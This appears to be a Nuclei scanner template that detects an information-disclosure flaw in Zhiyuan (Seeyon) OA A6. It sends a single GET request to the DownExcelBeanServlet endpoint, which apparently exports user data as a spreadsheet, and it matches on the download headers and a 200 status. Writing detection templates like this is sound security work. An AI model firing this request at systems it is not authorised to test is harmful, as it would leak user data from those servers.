id: zhiyuan-oa-info-leak

info:
  name: Zhiyuan Oa A6-s info Leak
  author: pikpikcu
  severity: info
  reference:
    - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3351.md
  metadata:
    max-request: 1
  tags: zhiyuan,leak,disclosure,seeyon,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "attachment"
          - "application/x-msdownload"
        part: header
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200c7004c75392f816d89a0aeb467685a20afae0282ffb0ebfb6627ca7e3d2702102210093a50502ee9d61d234ef6b428997080c0892cb56245c5a5d99b02915090b9a04:922c64590222798bb761d5b6d8e72950